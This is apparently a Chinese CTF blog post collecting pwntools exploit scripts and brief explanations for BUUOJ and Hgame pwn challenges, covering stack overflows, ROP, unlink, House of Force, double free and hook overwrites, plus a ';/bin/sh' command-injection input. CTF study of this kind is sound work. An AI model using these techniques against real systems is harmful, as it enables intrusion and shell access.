    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
def Getflag(p):
    p.sendline('cat /flag')
    return p.recvrepeat(0.3)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

ru("tell me your name
")
pd=asm(shellcraft.sh())
sl(pd)
ru("What do you want to say to me?
")
sl('a'*0x28+p64(0x601080))
p.interactive()

ciscn_2019_es_2--栈地址泄露

这道题自己又傻了,尝试了栈迁移去做,但是system()函数打不通,利用one_gadget本地可以但是远程不知道libc的版本。其实,这道题的思路应该是很清晰的,有两次read,每次read后都又printf函数,利用printf函数输出到'x00'结束的特点可以泄露出原ebp的值,这个值是指向栈中的,利用栈上恒定的偏移量可以迁移到我们输入的内容中,exp:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='ciscn_2019_es_2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',28873)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))
    
z()
ru("Welcome, my friend. What's your name?
")
pd='a'*0x27
sl(pd)
ru('a'*0x27+'
')
leak_addr=leak_address()
print hex(leak_addr)
fake_ebp=leak_addr-0x38
bin_sh=fake_ebp+12
leave_ret=0x080484b8
pd=p32(e.plt['system'])+'bbbb'+p32(bin_sh)+'/bin/shx00'
pd=pd.ljust(0x28,'x00')
pd+=p32(fake_ebp-4)+p32(leave_ret)
sl(pd)
p.interactive()

printf函数后下断点可以看到指向字符串的指针,也就是fake_ebp的地址.

bjdctf_2020_babystack2--简单整数溢出&ret2text

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='bjdctf_2020_babystack2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26760)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

z()
ru("[+]Please input the length of your name:
")
sl("-1")
ru("[+]What's u name?
")
pd='a'*(0x10+0x8)+p64(0x400726)
sl(pd)
p.interactive()

bjdctf_2020_router--简单Linux命令考查

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='bjdctf_2020_router'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',28706)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def ping(buf):
    ru("Please input u choose:")
    sl('1')
    ru("Please input the ip address:
")
    sl(buf)
def lea_comment(buf):
    ru("Please input u choose:")
    sl('3')
    ru("Your suggest will help us to do better!
")
    sl(buf)

ping(';/bin/sh')
p.interactive()

hitcontraining_heapcreator--简单chunk extend

分析程序,有show()函数可以泄露地址,有create()函数但无堆溢出,delete()函数没有UAF,洞在edit()函数,直白的允许多输入一个字节,是off by one,构造出chunk overlapping,覆盖存储指针的地址为free()函数的got表,读可泄露地址,写可劫持程序流,exp:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='heapcreator'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25401)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def add(size,content):
    sla("Your choice :",'1')
    sla("Size of Heap : ",str(size))
    sla("Content of heap:",content)

def edit(idx,content):
    sla("Your choice :",'2')
    sla("Index :",str(idx))
    sla("Content of heap : ",content)

def show(idx):
    sla("Your choice :",'3')
    sla("Index :",str(idx))

def delete(idx):
    sla("Your choice :",'4')
    sla("Index :",str(idx))

z('b *0x400942
b *0x4009C8
b *0x400CCB
b *0x400CE0
')
add(0x18,'a')#0
add(0x10,'a')#1
edit(0,'a'*0x18+'x41')
delete(1)
pd='a'*0x18+p64(0x21)+p64(0x30)+p64(e.got['free'])
add(0x30,pd)#1
show(1)
ru("Content : ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('free',leak_addr)
offset=leak_addr-libc.dump('free')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
edit(1,p64(sys_addr))
edit(0,'/bin/shx00')
delete(0)
p.interactive()

picoctf_2018_leak_me

拿到程序,发现不能f5,报错信息如下:

找到相应地址处的指令:

查一下资料:

先反汇编错误函数即可,接着分析程序,这里直接输入256个字符覆盖字符串结束符,可以泄露password内容:

picoctf_2018_buffer overflow 2

具体偏移调试一下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='PicoCTF_2018_buffer_overflow_2'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',29985)
    #e=ELF("./"+binary_name)
    libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

z()
pd='a'*(0x6c+4)+p32(0x080485CB)+'aaaa'+p32(0xDEADBEEF)+p32(0xDEADC0DE)
ru("Please enter your string: 
")
sl(pd)
p.interactive()

picoctf_2018_got_shell

改写puts()got表为win函数地址:

picoctf_2018_rop chain

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')

local=0
binary_name='PicoCTF_2018_rop_chain'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26075)
    #e=ELF("./"+binary_name)
    libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

#z()
p_ret=0x0804840d
pd='a'*(0x18+4)+p32(0x080485CB)+p32(0x080485D8)+p32(p_ret)+p32(0xBAAAAAAD)+p32(0x0804862B)+'aaaa'+p32(0xDEADBAAD)
ru("Enter your input> ")
sl(pd)
p.interactive()

hitcontraining_bamboobox

整了很久,至今仍有一些疑惑,由于buu上/home/bamboobox/flag下没有flag文件,我们只能通过unlink直接getshell来读flag文件,先贴出House of Force的解法:

这个解法需要注意一开始申请的chunk size需要大于0x10,否则top chunk申请到我们的target addr后,修改后的size是0x39,小于nb+MINSIZE,无法绕过检查:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='bamboobox'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',28089)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def add(lenth,name):
    sla("Your choice:",'2')
    sla("Please enter the length of item name:",str(lenth))
    sla("Please enter the name of item:",name)
def show():
    sla("Your choice:",'1')
def change(idx,lenth,name):
    sla("Your choice:",'3')
    sla("Please enter the index of item:",str(idx))
    sla("Please enter the length of item name:",str(lenth))
    sla("Please enter the new name of the item:",name)
def remove(idx):
    sla("Your choice:",'4')
    sla("Please enter the index of item:",str(idx))

z("b *0x400A6F
b *0x400C05
b *0x400CDD
")
add(0x30,'a')#0
pd='a'*0x30+p64(0)+p64(0xffffffffffffffff)
change(0,0x40,pd)
offset=-(0x40+0x20)-0x10
add(offset,'a')
magic=0x400D49
add(0x10,p64(magic)*2)
sla("Your choice:",'5')
p.interactive()

接着是unlink的解法,以下两种都可以:

首先是通过unlink修改free函数的got表为system函数,但是这种解法申请的第一个chunk必须申请≤0x70,申请0x80大小的chunk就会报错,至今疑惑:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='bamboobox'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',27353)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def add(lenth,name):
    sla("Your choice:",'2')
    sla("Please enter the length of item name:",str(lenth))
    sla("Please enter the name of item:",name)
def show():
    sla("Your choice:",'1')
def change(idx,lenth,name):
    sla("Your choice:",'3')
    sla("Please enter the index of item:",str(idx))
    sla("Please enter the length of item name:",str(lenth))
    ru("Please enter the new name of the item:")
    sd(name)
def remove(idx):
    sla("Your choice:",'4')
    sla("Please enter the index of item:",str(idx))

z("b *0x400A6F
b *0x400C05
b *0x400CDD
")
add(0x70,'a')#0
add(0x80,'a')#1
add(0x10,'/bin/shx00')#2
head=0x6020c8
pd=p64(0)+p64(0x71)
pd+=p64(head-0x18)+p64(head-0x10)
pd=pd.ljust(0x70,'x00')
pd+=p64(0x70)+p64(0x90)

change(0,0x90,pd)
remove(1)
pd='x00'*0x10+p64(0x60)+p64(e.got['free'])
change(0,len(pd),pd)
show()
ru("0 : ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('free',leak_addr)
offset=leak_addr-libc.dump('free')
sys_addr=offset+libc.dump('system')
pd=p64(sys_addr)
change(0,8,p64(sys_addr))
remove(2)
p.interactive()

最后是直接改atoi函数的got表,这样第一个申请到的chunk是0x80也没关系:

from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=1
binary_name='bamboobox'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',27353)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def add(lenth,name):
    sla("Your choice:",'2')
    sla("Please enter the length of item name:",str(lenth))
    sla("Please enter the name of item:",name)
def show():
    sla("Your choice:",'1')
def change(idx,lenth,name):
    sla("Your choice:",'3')
    sla("Please enter the index of item:",str(idx))
    sla("Please enter the length of item name:",str(lenth))
    ru("Please enter the new name of the item:")
    sd(name)
def remove(idx):
    sla("Your choice:",'4')
    sla("Please enter the index of item:",str(idx))

z("b *0x400A6F
b *0x400C05
b *0x400CDD
")
add(0x80,'a')#0
add(0x80,'a')#1
add(0x10,'a')#2
head=0x6020c8
pd=p64(0)+p64(0x81)
pd+=p64(head-0x18)+p64(head-0x10)
pd=pd.ljust(0x80,'x00')
pd+=p64(0x80)+p64(0x90)

change(0,0x90,pd)
remove(1)
pd='x00'*0x10+p64(0x80)+p64(e.got['atoi'])
change(0,len(pd),pd)
show()
ru("0 : ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('atoi',leak_addr)
offset=leak_addr-libc.dump('atoi')
sys_addr=offset+libc.dump('system')
pd=p64(sys_addr)
change(0,8,p64(sys_addr))
ru("Your choice:")
sd('/bin/shx00')
p.interactive()

jarvisoj_level4--DynELF泄露地址

题目缺少libc,利用了pwntools下的工具DynELF可以泄露system函数,利用read函数读入/bin/sh到bss段,从而getshell:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='level4'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',29460)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

#这里只能返回到main/start,不能返回vul,需要初始化与栈相关的变量
main=0x08048470
def leak(addr):
    pd='a'*(0x88+4)+p32(e.plt['write'])+p32(main)+p32(1)+p32(addr)+p32(4)
    sd(pd)
    data=p.recv(4)
    return data

d=DynELF(leak,elf=e)
sys_addr=d.lookup('system','libc')
print hex(sys_addr)

#z()

bss=0x0804A100
pd='a'*(0x88+4)+p32(e.plt['read'])+p32(main)+p32(0)+p32(bss)+p32(8)
sd(pd)
sd('/bin/shx00')
pd='a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(bss)
sl(pd)
p.interactive()

roarctf_2019_easy_pwn--简单off by one

分析程序,可以看到在write note的时候,如果我们输入的size比申请时size大10,则存在off by one漏洞,我们可以利用这个通过chunk extend的技术,构造重叠的堆块,通过构造unsorted bin并与使用的堆块重叠来泄露地址,随后arbitary malloc,修改fastbin的fd,申请到任意地址,最后由于所有的one_gadget都不能满足要求,我们利用realloc抬栈以满足条件,getshell,exp如下:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='roarctf_2019_easy_pwn'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',26105)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))

def add(size):
    sla("choice: ",'1')
    sla("size: ",str(size))
def edit(idx,size,content):
    sla("choice: ",'2')
    sla("index: ",str(idx))
    sla("size: ",str(size))
    sla('content: ',content)
def delete(idx):
    sla("choice: ",'3')
    sla("index: ",str(idx))
def show(idx):
    sla("choice: ",'4')
    sla("index: ",str(idx))

#z('b *0x555555554CCC
b *0x555555555054
b *0x555555554f6D
b *0x5555555551cb
')
add(0x20)#0
add(0x40)#1
add(0x60)#2
add(0x10)#3
delete(0)
add(0x28)#0
edit(0,0x28+10,'a'*0x28+'xc1')
delete(1)
add(0x40)#1
show(2)
ru("content: ")
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-libc.sym['__malloc_hook']-0x10-88
log.info("libc_base:"+hex(libc_base))
add(0x60)#4->2
delete(2)
malloc_hook=libc_base+libc.sym['__malloc_hook']-35
edit(4,8,p64(malloc_hook))
add(0x60)#2
add(0x60)#5->malloc_hook
one_gadget=libc_base+0xf1147
realloc=libc_base+libc.sym['__libc_realloc']
edit(5,27,'a'*(35-0x10-8)+p64(one_gadget)+p64(realloc+4))
add(0x10)
p.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

jarvisoj_test_your_memory--ret2text

程序给出了system程序段,需要我们传入command字符串,打印出的hint中存储的就是字符串的地址,我们只需要将其作为参数传入后ret2text即可,但是这里有个坑点就是中间需要经过strncmp函数,该函数的前两个参数都是字符串地址,因此我们必须保证我们构造的返回地址(也就是s2的位置)是可读的,否则会卡在该函数上。exp:

from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')

local=0
binary_name='memory'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('node3.buuoj.cn',25078)
    e=ELF("./"+binary_name)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,'x00'))
'''
z()
ru("
what???? : 
0x")
leak_addr=int(p.recv(7),16)
print hex(leak_addr)
ru("cff flag go go go ...

")
'''
pd='a'*0x13+'aaaa'+p32(0x080485BD)+p32(0x080488ff)+p32(0x80487e0)
sl(pd)
#sl('a')
p.interactive()

something else

Hgame2020-Week3-Annevi

主要考查了unlink,首先利用small chunk free后再次show泄露main_arena地址,随后利用edit()函数中的堆溢出漏洞和存放malloc的chunk指针的数组伪造small_chunk造成unlink,最后覆盖free_hook地址为system函数,释放chunk以getshell,exp:

from pwn import *
context(log_level='debug',arch='amd64')

local=0
binary_name='Annevi'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=e.libc
else:
    p=remote('47.103.214.163', 20301)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x) 
sla=lambda a,b:p.sendlineafter(a,b)

def add(size,content='aa'):
    sla(":","1")
    sla("size?
",str(size))
    sla("content:",content)
    ru("done!
")

def dele(idx):
    sla(":",'2')
    sla("index?
",str(idx))
    #ru("done!
")

def show(idx):
    sla(":","3")
    sla("index?
",str(idx))

def edit(idx,content):
    sla(":","4")
    sla("index?
",str(idx))
    sla("content:",content)
    ru("done!
")

z('b *0x4009F3
b *0x400AA9
b *0x400B1E
b *0x400BA7
')
add(0x90)
add(0x90)
dele(0)
add(0x90,'')
show(0)
ru("content:")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
offset=leak_addr-0x0a+0x78-88-libc.symbols['__malloc_hook']-0x10
add(0x90)
add(0x90)
head=0x602040
pd=p64(0)+p64(0x91)+p64(head+16-0x18)+p64(head+16-0x10)
pd=pd.ljust(0x90,'x00')
pd+=p64(0x90)+p64(0xa0)
edit(2,pd)
dele(3)
add(0x90,'/bin/sh;')
pd='a'*0x8+p64(offset+libc.symbols['__free_hook'])
edit(2,pd)
edit(0,p64(offset+libc.symbols['system']))
dele(3)
#dele(1)
p.interactive()

findyourself

是一道考查linux shell命令的题目:

/ 表示绝对路径
./ 表示在当前目录下查找
ls -l 表示以长列表的形式list
/proc/self/cwd 存放当前程序运行进程的current working directory
1>&0 可以重定位输出流,适用于程序流中close(1),getshell后无法回显的问题

Roc826

主要考查fastbin的double free漏洞,分析程序发现在delete()函数中未将函数指针设为NULL,存在UAF漏洞,可以借此泄露main_arena地址,随后用fastbin的double free attack,找到合适的chunk位置,覆盖free函数got表为system函数或者覆盖__malloc_hook为one_gadget地址,再次执行free/malloc函数来getshell,exp:

from pwn import *
context(log_level='debug',arch='amd64')

local=0
binary_name='Roc826'
if local:
    p=process("./"+binary_name)
    e=ELF("./"+binary_name)
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p=remote('47.103.214.163', 21002)
    e=ELF("./"+binary_name)
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

#gdb.attach(p,'b *0x400A28
b *0x400ADE
b *0x400B57
')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)

def add(size,content):
    sla(':','1')
    ru("size?
")
    sl(str(size))
    ru("content:")
    sl(content)
    ru('done!
')

def dele(idx):
    sla(':','2')
    sla("index?
",str(idx))
    ru("done!
")

def show(idx):
    sla(':','3')
    sla("index?
",str(idx))
    ru("content:")

add(0x90,'a')
add(0x90,'a')
dele(0)
show(0)
leak_addr=u64(p.recv(6).ljust(8,'x00'))-88
offset = leak_addr-libc.symbols['__malloc_hook']-0x10
add(0x50,'a')#2
add(0x50,'a')#3
dele(2)
dele(3)
dele(2)
add(0x50,p64(e.got['free']-30))#4->2
add(0x50,'/bin/sh')#5->3
add(0x50,'a')#6->2
one_gadget=0xf1147
add(0x50,'a'*14+p64(offset+libc.sym['system'])[:6])#7->fake
sla(":",'2')
sla("index?
",'5')
p.interactive()

原文地址:https://www.cnblogs.com/Theffth-blog/p/12790666.html